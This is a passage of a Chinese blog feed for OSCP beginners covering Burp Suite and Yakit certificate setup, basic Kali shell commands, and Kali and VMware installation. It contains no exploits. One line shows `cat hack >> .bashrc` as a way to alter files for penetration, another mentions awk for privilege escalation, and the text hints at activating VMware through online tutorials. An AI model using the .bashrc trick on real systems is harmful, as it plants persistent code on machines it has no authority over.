&lt;p&gt;&lt;img alt="image-20250208165323899" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208165323899.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再浏览器中输入&lt;code&gt;127.0.0.1:8080&lt;/code&gt;打开i如下界面表示启动成功，点击安装证书。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208165445267" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208165445267.png"&gt;&lt;/p&gt;
&lt;p&gt;打开浏览器安全设置安装证书，我建议用于渗透的浏览器是&lt;strong&gt;Google chrome&lt;/strong&gt;，能支持大多数协议显示。建议和自己日常用的浏览器分开，不要存个人账户信息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208165540533" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208165540533.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208173634552" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208173634552.png"&gt;&lt;/p&gt;
&lt;p&gt;导入后切换代理为Burp模式，就能看到抓的包。&lt;/p&gt;
&lt;h3 id="yakit配置"&gt;Yakit配置
&lt;/h3&gt;&lt;p&gt;Yakit配置和BurpSuit类似。新建一个情景模式，然后切换这个模式访问 &lt;code&gt;http://mitm/&lt;/code&gt; 自动下载证书，比叫方便。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208173804805" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208173804805.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208173828532" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208173828532.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208173916981" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208173916981.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到已经抓包成功了。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取BurpSuit 和Yakit安装包。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day3 Kali Shell基本命令</title><link>https://ruajingjing.top/post/day3-kali-shell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/</link><pubDate>Sat, 08 Feb 2025 06:00:00 +0000</pubDate><guid>https://ruajingjing.top/post/day3-kali-shell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day3 Kali Shell基本命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kali-shell-的基本使用"&gt;Kali Shell 的基本使用
&lt;/h2&gt;&lt;p&gt;Kali系统是Ubuntu发行版改，所以大部分命令和Ubuntu一样，我之前已经学习过并且有7年使用历史，所以这部分我就不按照教材和课程进度快速跳过了。这里推荐一个网站，可以速查常用编程语言的命令速查表。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day3&lt;/code&gt;获取速查表。你可以把速查表打印出来放入资料册或者笔记本中，方便随时翻阅，比起在电脑中查询更方便，排版良好的&lt;code&gt;Cheat Sheet&lt;/code&gt;是非常好用的工具。你也可以在网上搜索这个关键字看到更多的速查表，下列的网站中也有这样的速查表大全网站。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.datacamp.com/cheat-sheet/bash-and-zsh-shell-terminal-basics-cheat-sheet" target="_blank" rel="noopener"
 &gt;https://www.datacamp.com/cheat-sheet/bash-and-zsh-shell-terminal-basics-cheat-sheet&lt;/a&gt; 英文版，有pdf可下载
&lt;a class="link" href="https://quickref.cn/docs/bash.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/bash.html&lt;/a&gt; 中文版bash常见命令
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/languages/bash.sh" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/languages/bash.sh&lt;/a&gt; bash命令在线
&lt;a class="link" href="https://wangchujiang.com/shell-tutorial/" target="_blank" rel="noopener"
 &gt;https://wangchujiang.com/shell-tutorial/&lt;/a&gt; 中文版shell用法
&lt;a class="link" href="https://quickref.cn/docs/vim.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/vim.html&lt;/a&gt; 顺便补充一个vim用法&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;你也可以把其他的命令，或者今后总结的&lt;strong&gt;常用的渗透命令&lt;/strong&gt;总结为一个速查表，然后交给AI帮你排版：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;把文件中的命令按照分类制作成cheat sheet，请用蓝白配色排版，我希望排版在1到3也横版A4纸大小的PDF文件中，请给我html或者latex文件
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250207204737344" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250207204737344.png"&gt;&lt;/p&gt;
&lt;p&gt;推荐使用在线Latex编辑器排版，如果你已经在本地有Latex也可以在本地调试，Latex的安装非常大，所以我推荐使用在线排版。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.overleaf.com/" target="_blank" rel="noopener"
 &gt;https://www.overleaf.com/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="文本编辑器-nano和vim"&gt;文本编辑器 Nano和vim
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250207212732789" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250207212732789.png"&gt;&lt;/p&gt;
&lt;p&gt;Nano和Vim都是终端编辑器，一般都是系统自带的。之前你可能已经用过vim，或者在退出vim的时候打出了一堆乱码而无法退出感到沮丧。可以通过以下资源练习vim和nano的使用，我推荐两个至少要会进入，编辑，保存，退出这几个操作。在实战过程中一些搭载服务的docker容器可能只有nano或vi（注意vi比vim更丐版，很多高级vim命令无法使用）。甚至有些更小的容器就没有文本编辑器，要学会使用管道命令如&lt;code&gt;cat hack &amp;gt;&amp;gt; .bashrc&lt;/code&gt;来修改文本内容，达到渗透目的。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://quickref.cn/docs/vim.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/vim.html&lt;/a&gt; vim用法
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/nano.txt" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/nano.txt&lt;/a&gt; nano用法
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt&lt;/a&gt; vim 用法&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="推荐练习的命令"&gt;推荐练习的命令
&lt;/h2&gt;&lt;p&gt;这是教材中推荐练习的命令，你可以通过速查表查看他们可以怎么做，也可以询问搜索引擎和AI更多用法。其中&lt;code&gt;grep&lt;/code&gt;是之后在CTF赛中常用的查找命令，比如&lt;code&gt;ls | grep flag&lt;/code&gt;用于查找当前文件夹下是否存在flag文件。而&lt;code&gt;awk&lt;/code&gt;命令除了基本的操作外，还可用于提权，这个在今后会有内容讲到。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;grep&lt;/li&gt;
&lt;li&gt;sed&lt;/li&gt;
&lt;li&gt;cut&lt;/li&gt;
&lt;li&gt;cat&lt;/li&gt;
&lt;li&gt;awk&lt;/li&gt;
&lt;li&gt;comm&lt;/li&gt;
&lt;li&gt;diff&lt;/li&gt;
&lt;li&gt;vimdiff&lt;/li&gt;
&lt;li&gt;ping&lt;/li&gt;
&lt;li&gt;jobs&lt;/li&gt;
&lt;li&gt;fg&lt;/li&gt;
&lt;li&gt;ps&lt;/li&gt;
&lt;li&gt;kill&lt;/li&gt;
&lt;li&gt;tail&lt;/li&gt;
&lt;li&gt;watch&lt;/li&gt;
&lt;li&gt;wget&lt;/li&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;axel&lt;/li&gt;
&lt;li&gt;history&lt;/li&gt;
&lt;li&gt;alias&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day3&lt;/code&gt;获取速查表。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day2 在线学习资源和Kali安装使用</title><link>https://ruajingjing.top/post/day2-%E5%9C%A8%E7%BA%BF%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90%E5%92%8Ckali%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8/</link><pubDate>Thu, 23 Jan 2025 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/day2-%E5%9C%A8%E7%BA%BF%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90%E5%92%8Ckali%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day2 在线学习资源和Kali安装使用" /&gt;&lt;h2 id="学前补充-在线学习资源"&gt;学前补充-在线学习资源
&lt;/h2&gt;&lt;h3 id="国内中文资料"&gt;国内中文资料
&lt;/h3&gt;&lt;p&gt;国内虽然网络安全学习资源逐渐丰富，但在涉及 OSCP 等国际认证时，中文资料相对较少，更多的仍需依赖官方英文资料。然而，我们可以通过一些中文平台获取相关的学习内容，并帮助更好地理解渗透测试和网络安全的基本概念。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泷羽Sec公众号&lt;/strong&gt;：关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://blog.csdn.net/bugatti100peagle/category_12878453.html" target="_blank" rel="noopener"
 &gt;CSDN 泷羽Sec-静安栏目&lt;/a&gt;&lt;/strong&gt;：同样可以通过 &lt;strong&gt;CSDN 泷羽Sec-静安&lt;/strong&gt; 账号找到关于 OSCP 考试、渗透测试工具等内容的详细教程，适合进行技术深度学习。&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="拓展国外资料"&gt;拓展国外资料
&lt;/h3&gt;&lt;p&gt;虽然国内资料主要依赖翻译或二次加工，但国外的资料更为丰富，尤其是针对渗透测试和 OSCP 考试的内容。建议你结合以下资源，深入学习并拓宽视野。无需完全掌握所有内容，但这些资料可以帮助你更好地理解考试大纲之外的技术点。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;YouTube 渗透测试教程&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=9mrf-WyzkpE&amp;amp;list=PLJnLaWkc9xRgOyupMhNiVFfgvxseWDH5x" target="_blank" rel="noopener"
 &gt;渗透测试基础教程&lt;/a&gt;：这个视频系列为你提供了实战渗透测试的基础知识，非常适合入门学习。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=7WQndt-1WzE&amp;amp;list=PLqM63j87R5p4Mp4NP-Oa1kLV6o22RDfex" target="_blank" rel="noopener"
 &gt;进阶渗透测试系列&lt;/a&gt;：该系列侧重于进阶渗透测试技术，涵盖了多种实用的攻击手段和技巧，适合有一定基础的学员进一步提升技能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Offensive Security 官方资源&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec Discord 群组&lt;/strong&gt;：加入 &lt;a class="link" href="https://discord.com/invite/offsec" target="_blank" rel="noopener"
 &gt;OffSec 的 Discord 群&lt;/a&gt;，这是一个全球渗透测试爱好者和专业人员的聚集地，群内每周五会有免费直播，大家可以实时互动并提问。通过参与群组，你不仅能获得最新的培训信息，还有机会向其他 OSCP 备考者和认证过的专家请教问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec 官方 YouTube 频道&lt;/strong&gt;：&lt;a class="link" href="https://www.youtube.com/watch?v=muLaL3p7G94" target="_blank" rel="noopener"
 &gt;OffSec 官方 YouTube 频道&lt;/a&gt;，官方会不定期更新关于渗透测试技巧、OSCP 备考心得等内容。特别适合在考试前复习并加深理解。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec 官方 Twitch 频道&lt;/strong&gt;：&lt;a class="link" href="https://www.twitch.tv/offsecofficial/videos" target="_blank" rel="noopener"
 &gt;OffSec 官方 Twitch 频道&lt;/a&gt;：在这里你可以找到各种实时和过往的直播视频，包括渗透测试实战演示和技术讲解。定期观看这些直播，能够帮助你更好地理解渗透测试的实际操作，并获取最新的行业动态和实践技巧。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="翻译软件使用"&gt;翻译软件使用
&lt;/h3&gt;&lt;p&gt;对于非英语母语的学习者，翻译软件可以极大地帮助理解英文资料，特别是一些技术性的讲解。以下是推荐的两款翻译工具，帮助提升学习效率：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://immersivetranslate.com/zh-Hans/" target="_blank" rel="noopener"
 &gt;沉浸式翻译&lt;/a&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;适用于翻译在线网页文档，特别是技术博客、教程页面等。这个工具支持将 &lt;strong&gt;YouTube&lt;/strong&gt; 上的视频字幕实时翻译，便于理解外语讲解的内容，尤其是对于英语不太熟练的学习者来说，是一个非常有用的工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://tongchuan.iflyrec.com/" target="_blank" rel="noopener"
 &gt;讯飞同传&lt;/a&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个工具非常适合观看一些沉浸式翻译不支持的&lt;strong&gt;视频&lt;/strong&gt;，以及在后期与考试官的实时互动中使用。它可以帮助你实时将英语对话翻译成中文，并支持与考官之间的流畅交流。这对于 OSCP 考试时的实时沟通（例如，考试过程中需要与考官确认某些细节时）尤为重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过这些工具，你可以在学习过程中克服语言障碍，更轻松地掌握 OSCP 考试的内容，尤其是在遇到复杂的技术概念或英文资料时，翻译软件将成为你学习的得力助手。&lt;/p&gt;
&lt;p&gt;学习 OSCP 不仅需要掌握官方教材大纲的内容，更需要拓展视野，借助国内外的学习资源和翻译工具，提高自己的渗透测试能力。建议大家从 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号获取最新的学习资讯，结合国内外的视频教程和在线社区的互动，逐步完成 OSCP 认证的备考旅程。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="kali下载vmware安装和镜像启动"&gt;Kali下载、VMware安装和镜像启动
&lt;/h2&gt;&lt;p&gt;Kali Linux由Offensive Security开发、资助和维护，是一个基于Debian的Linux发行版，专为高级渗透测试和安全审计设计。它集成了数百种信息安全工具，支持渗透测试、安全研究、计算机取证、逆向工程等多种任务。&lt;/p&gt;
&lt;h3 id="kali-下载"&gt;Kali 下载
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;kali 官网下载地址：https://www.kali.org/get-kali/#kali-platforms&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250120170551518" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170551518.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120170629009" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170629009.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; Get-FileHash .\kali-linux-2024.4-vmware-amd64.7z -Algorithm SHA256
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;验证下载文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120170959477" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170959477.png"&gt;&lt;/p&gt;
&lt;h3 id="vmware下载"&gt;VMware下载
&lt;/h3&gt;&lt;p&gt;VMware是一家领先的虚拟化和云计算技术公司，专注于提供企业级解决方案。其核心产品包括虚拟化平台、云管理和自动化工具，旨在帮助企业优化IT基础设施，提升运维效率。VMware的技术广泛应用于数据中心、桌面虚拟化、网络安全和应用开发等领域，推动了云计算、容器化和企业数字化转型的进程。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;VMware 官网下载：https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;下载安装后，激活网上找教程激活即可。2024年5月后&lt;a class="link" href="https://blogs.vmware.com/china/2024/05/16/workstation-%E5%92%8C-fusion-%E5%AF%B9%E4%B8%AA%E4%BA%BA%E4%BD%BF%E7%94%A8%E5%AE%8C%E5%85%A8%E5%85%8D%E8%B4%B9%EF%BC%8C%E4%BC%81%E4%B8%9A%E8%AE%B8%E5%8F%AF%E8%BD%AC%E5%90%91%E8%AE%A2%E9%98%85/" target="_blank" rel="noopener"
 &gt;Workstation 和 Fusion 对个人使用完全免费，企业许可转向订阅&lt;/a&gt;，个人用户也可以使用免费版。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件。&lt;/p&gt;
&lt;h3 id="镜像启动"&gt;镜像启动
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250120202753650" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120202753650.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120202618165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120202618165.png"&gt;&lt;/p&gt;
&lt;p&gt;在Vmware中点击打开虚拟机，选择下载好的kali镜像（解压一下），选择文件夹下的&lt;code&gt;.vmx&lt;/code&gt;文件即可。点击启动即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;默认用户名：kali
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;默认密码：kali
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以通过&lt;code&gt;passwd&lt;/code&gt;命令修改账户密码，但是学习阶段不建议，就一个虚拟机，省得后面复杂操作的时候记不得。&lt;/p&gt;
&lt;p&gt;&lt;img alt="网安系列66" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E7%BD%91%E5%AE%89%E7%B3%BB%E5%88%9766.jpeg"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;常用网站链接&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kali全套官方工具包详解 &lt;a class="link" href="https://www.kali.org/tools/all-tools/" target="_blank" rel="noopener"
 &gt;https://www.kali.org/tools/all-tools/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kali 官方文档手册 &lt;a class="link" href="https://www.kali.org/docs/" target="_blank" rel="noopener"
 &gt;https://www.kali.org/docs/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kali官方论坛 &lt;a class="link" href="https://forums.kali.org/" target="_blank" rel="noopener"
 &gt;https://forums.kali.org/&lt;/a&gt;官方建议，发帖之前先阅读论坛规则和向导，不合规的帖子可能被忽略&lt;/li&gt;
&lt;li&gt;kali bug自助页面 &lt;a class="link" href="https://bugs.kali.org" target="_blank" rel="noopener"
 &gt;https://bugs.kali.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;官方kali解密书籍：《Kali Linux Revealed: mastering the penetration testing distribution》关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;后台回复&lt;code&gt;找书+KLR&lt;/code&gt;获取下载链接&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;h3 id="kali换源和新装机设置"&gt;kali换源和新装机设置
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo -s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;vim /etc/apt/sources.list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123094057324" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123094057324.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清华大学Kali镜像源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;复制上面的内容，按&lt;code&gt;I&lt;/code&gt;键进入插入模式，插入到list文件中，注释原来的kali官方源，按&lt;code&gt;ESC&lt;/code&gt;退出编辑模式，然后按&lt;code&gt;:wq&lt;/code&gt;保存并退出。更多详细&lt;strong&gt;vim&lt;/strong&gt;命令请参考&lt;a class="link" href="https://www.runoob.com/linux/linux-vim.html" target="_blank" rel="noopener"
 &gt;菜鸟 Linux vi/vim&lt;/a&gt;，&lt;a class="link" href="https://www.freecodecamp.org/news/vim-beginners-guide/" target="_blank" rel="noopener"
 &gt;vimtutor&lt;/a&gt;和&lt;a class="link" href="https://www.vim.org/" target="_blank" rel="noopener"
 &gt;vim官方&lt;/a&gt;，或在终端输入&lt;code&gt;vimtutor&lt;/code&gt;查看官方指南。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123094247605" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123094247605.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/v2-274e2d406f2836aed2550e003416d93a_720w.png"&gt;&lt;/p&gt;
